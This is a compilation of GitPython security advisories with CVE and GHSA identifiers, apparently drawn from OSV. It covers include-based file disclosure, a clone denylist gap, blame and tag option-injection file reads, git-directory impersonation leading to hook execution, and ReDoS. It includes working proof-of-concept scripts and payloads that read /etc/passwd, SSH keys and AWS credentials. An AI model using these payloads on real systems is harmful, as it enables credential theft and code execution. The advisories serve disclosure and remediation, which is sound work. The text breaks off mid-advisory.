  • Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
  • Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.
Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

    attacker_repo = os.path.join(workdir, "attacker-repo")
    dest = os.path.join(workdir, "dest")
    for p in (attacker_repo, dest):
        os.makedirs(p, exist_ok=True)

    if not os.path.exists(target_file):
        os.makedirs(os.path.dirname(target_file), exist_ok=True)
        with open(target_file, "w") as f:
            f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

    subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)

    with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
        f.write("hello\n")

    with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )

    subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test
    import configparser

    repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
            sys.exit(0)
        else:
            print("NOT VULNERABLE: exception message did not contain the expected content")
            sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination

CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787

More information

Details

  • CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
  • Affected component: git/repo/base.py, Repo.unsafe_git_clone_options (class attribute, lines 153-165) and Repo._clone() (lines 1477-1520), reached via the public Repo.clone_from() (line 1626) and Repo.clone() (line 1567) APIs.
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).

git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:

:param allow_unsafe_options:
    Allow unsafe options to be used, such as ``--template`` and
    ``--separate-git-dir``.

i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:

unsafe_git_clone_options = [
    "--upload-pack",
    "-u",
    "--config",
    "-c",
    "--template",
    "--bundle-uri",
]

So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.

Root cause

Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).

Exploit path
  1. Attacker-controlled input reaches a separate_git_dir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clone_from() / Repo.clone() by the host application, with allow_unsafe_options left at its default False.
  2. Git._option_candidates() renders this as --separate-git-dir and Git.check_unsafe_options() checks it against Repo.unsafe_git_clone_options — no match, no UnsafeOptionError raised.
  3. Git.transform_kwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell).
  4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact

Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:

  • Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
  • If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
  • Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
  • The calling application forwards a caller-influenced value into a separate_git_dir kwarg of Repo.clone_from()/Repo.clone() (or into the multi_options list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allow_unsafe_options=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.
  • No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
  • git/repo/base.py:145-151 — unsafe_git_init_options includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path".
  • git/repo/base.py:153-165 — unsafe_git_clone_options (the list actually enforced on _clone) does not include "--separate-git-dir".
  • git/repo/base.py:1450-1452 — docstring of clone_from/clone explicitly documents --separate-git-dir as one of the options allow_unsafe_options is supposed to gate.
  • git/repo/base.py:1495-1518 — _clone() special-cases separate_git_dir only to Git.polish_url() it (path normalization for URL-like values), then runs it through Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options) — which, per the list above, does not flag it.
  • PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allow_unsafe_options at its default False.
False-positive check (adversarial re-read)
  • Is there a value-level check that would still stop this? No — check_unsafe_options only inspects option names (via _canonicalize_option_name) against the denylist; it performs no filesystem/path validation on separate_git_dir's value, and no other guard in _clone() touches this kwarg besides the Git.polish_url() normalization (which does not reject arbitrary paths).
  • Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.
  • Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in _known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafe_git_clone_options); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clone_from() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap.
  • Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry.
  • Verdict: no concrete blocker found. CONFIRMED.
Remediation

Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.

Confidence

High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.

Proof-of-Concept source (gitpython-001-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.

Run against the GitPython source tree under test, e.g.:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>

Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
    src = os.path.join(workdir, "src")
    dest = os.path.join(workdir, "dest")
    sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
    target_gitdir = os.path.join(sentinel_dir, "redirected.git")

    for p in (src, dest, sentinel_dir):
        os.makedirs(p, exist_ok=True)

    # Minimal benign source repo to clone from.
    subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
    subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
    with open(os.path.join(src, "file.txt"), "w") as f:
        f.write("hello\n")
    subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
    subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test

    print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
    assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
        "guard now includes --separate-git-dir; PoC no longer applicable, target patched"
    )

    try:
        repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
    except git.exc.UnsafeOptionError as e:
        print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
        sys.exit(1)

    wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
        os.path.join(target_gitdir, "config")
    )
    gitlink_points_outside = False
    with open(os.path.join(dest, ".git")) as f:
        gitlink = f.read().strip()
        gitlink_points_outside = target_gitdir in gitlink

    print("repo.git_dir =", repo.git_dir)
    print("wrote git directory outside dest (sentinel) =", wrote_outside)
    print("dest/.git gitlink points outside dest =", gitlink_points_outside)

    if wrote_outside and gitlink_points_outside:
        print("VULNERABLE: git directory created at attacker-controlled path "
              f"outside the clone destination: {target_gitdir}")
        sys.exit(0)
    else:
        print("NOT VULNERABLE: sentinel not observed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785

More information

Details

GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786

More information

Details

GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.

Severity

  • CVSS Score: 9.3 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787

More information

Details

GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788

More information

Details

GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)

CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837

More information

Details

Summary

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause

The fix 3af0c251 added unsafe_git_tag_options = ["--file","-F"] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact

Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

Proof of Concept
from git import TagReference
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message)   # contents of the file
Attack Chain
  1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/id_rsa".
  2. Check: Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"]) @​ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: _option_candidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes).
  3. Sink: repo.git.tag(*args, **kwargs) @​ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>'].
  4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).
Bypass Evidence

Independently reproduced (independent test harness, git 2.43.0, default allow_unsafe_options=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control: TagReference.create(..., file='<secret>') → UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds _option_candidates([], kwargs) (empty args → positional never a candidate).

Affected Versions

GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix

Include the positional reference (and path) in the option-candidate list passed to check_unsafe_options, or place a -- separator before the positional arguments in TagReference.create().


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution

CVE-2026-87817 / GHSA-239g-whfq-7xj9 / PYSEC-2026-3982

More information

Details

Summary

Repo.__init__ decides which directory is the git directory by testing candidate paths in an order that
considers the real .git last. Two earlier tests can be satisfied by ordinary tracked files. Git
reserves only the literal name .git, so HEAD, objects/, refs/, config, gitdir, commondir
and hooks/ at a repository root are all legal tracked content.

Consequently, after a victim opens or clones an attacker's repository, GitPython resolves git_dir to
the working-tree root while real git correctly resolves <root>/.git. Everything GitPython then
treats as "inside the git directory" is attacker-authored content — including hooks/, which it
executes.

CVE-2026-87817
Affected code (3.1.59)

The discovery loop in git/repo/base.py tests, in order:

  1. git/repo/base.py:299 — isfile(curpath/gitdir) and isfile(curpath/commondir) and isfile(curpath/HEAD)
  2. git/repo/base.py:320 — is_git_dir(curpath)
  3. git/repo/base.py:341 — dotgit = osp.join(curpath, ".git") ← the real git dir, considered last

is_git_dir (git/repo/fun.py:60) requires only that objects/ and refs/ are directories and that
HEAD is a file; HEAD's contents are never parsed. The hook path is resolved from
index.repo.git_dir (git/index/fun.py:73), i.e. the mis-resolved directory.

Proof of concept

Requires only pip install GitPython==3.1.59. Full script attached as poc1_rce.py; it runs entirely
in a temp directory and the payload only writes a marker file.

Attacker repository — four ordinary tracked files at the root:

path mode content
gitdir 100644 .git\n
commondir 100644 .git\n
HEAD 100644 ref: refs/heads/master\n
hooks/pre-commit 100755 #!/bin/sh + payload

Victim — two ordinary calls:

repo = git.Repo.clone_from(url, dst)     # or git.Repo(dst)
repo.index.commit("automated commit")    # code execution happens here

Observed on the PyPI release 3.1.59 (Linux and Windows):

real git says the git dir is : /tmp/.../victim/.git
GitPython says it is         : /tmp/.../victim      <- shadowed
attacker's hook executed     : True
git fsck                     : (clean)

The pre-commit hook runs at git/index/base.py:1201, before write_tree(), so it fires even though
the commit later fails.

Impact

A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork
pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool —
can be made to:

  1. Execute arbitrary commands via the tracked <root>/hooks/pre-commit when the victim calls
    index.commit().
  2. Read files outside the repository: the tracked <root>/config becomes the repository config and
    is parsed with merge_includes=True (git/repo/base.py:765), so [include] path = ~/.aws/credentials
    discloses the file. (Repo._config_reader still defaults merge_includes=True, so the hardening
    added in 3.1.59 for .gitmodules/GHSA-7833 does not cover this path.)
  3. Write a config file to an attacker-chosen directory via an absolute tracked commondir.

Delivery is silent: git clone exits 0, git fsck (including --strict, and with
transfer.fsckObjects/fetch.fsckObjects=true) reports nothing, and the clone passes every read-only
probe (head.commit, branches, is_dirty(), untracked_files, iter_commits) because a tracked
commondir of .git pins common_dir to the real .git.

Threat model / preconditions
  • Attacker controls the content of a repository the victim opens or clones with GitPython (public repo,
    fork PR, mirrored dependency).
  • For code execution, the victim performs a commit via GitPython's native index.commit(). For the
    file-read impact, opening the repo and reading config is enough.
  • GIT_WORK_TREE is not a mitigation — git_dir is assigned and the discovery loop breaks before
    the environment is consulted.
  • Real git is unaffected; only GitPython mis-resolves the directory.
Remediation
  1. Test curpath/.git before the gitdir/commondir/HEAD triple and before is_git_dir(curpath).
  2. Resolve hook_path / _commit_hook_path / _get_validated_reflog_path through repo.common_dir.
  3. Containment-check commondir/gitdir contents before joining (reuse
    SymbolicReference._get_validated_path).
  4. Validate HEAD in is_git_dir (require ref: refs/... or a 40-hex sha).
  5. Pass merge_includes=False in Repo._config_reader (git/repo/base.py:765).
Note for the maintainers

Commit 406b98e1 (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via
git rev-parse --git-path, which is immune because git rediscovers the true .git. Commit 9bc287a2
(2026-07-20) reverted it to avoid an unconditional rev-parse dependency — reintroducing the exec step.
Measured at each commit with the healthy-looking layout: 406b98e1 → hook did not fire; 9bc287a2 …
3.1.59 → hook fired.

Scope note

Only the repository-root case is reported: where a real .git exists, git prefers it, and GitPython
does not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a
general ecosystem hazard rather than a GitPython defect.

###POC Files :
poc1_rce.py
poc2_file_read.py

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

CVE-2026-87819 / GHSA-g5vv-9gxw-82hx / PYSEC-2026-3984

More information

Details

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863)
is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of
Service). When GitPython parses the author or committer header of a git commit
object that contains a long string with an unterminated < (no matching >), the
Python regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads
.author or .committer for over two minutes per invocation, enabling denial
of service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.


Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time
GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with
no length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:

  • commit.author
  • commit.committer
  • repo.iter_commits()
  • repo.blame()
  • Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by
a literal space and <. When the input is a long string that contains < but no
closing >, the regex engine must try every possible split position for the greedy
group — O(n²) candidate positions for a string of length n — each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 →
80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself
imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into .git/objects/. git cat-file -t <sha> confirms
it is a valid commit type and git's own read-side tools display it without error.
Only git's write-side tooling (git commit --author, git update-index,
explicit git fsck) applies the sanity checks that would reject a malformed author
line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level

PoC

Environment used for testing:

  • GitPython 3.1.59, installed in editable mode from source (no code modifications)
  • Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):


#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):


#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
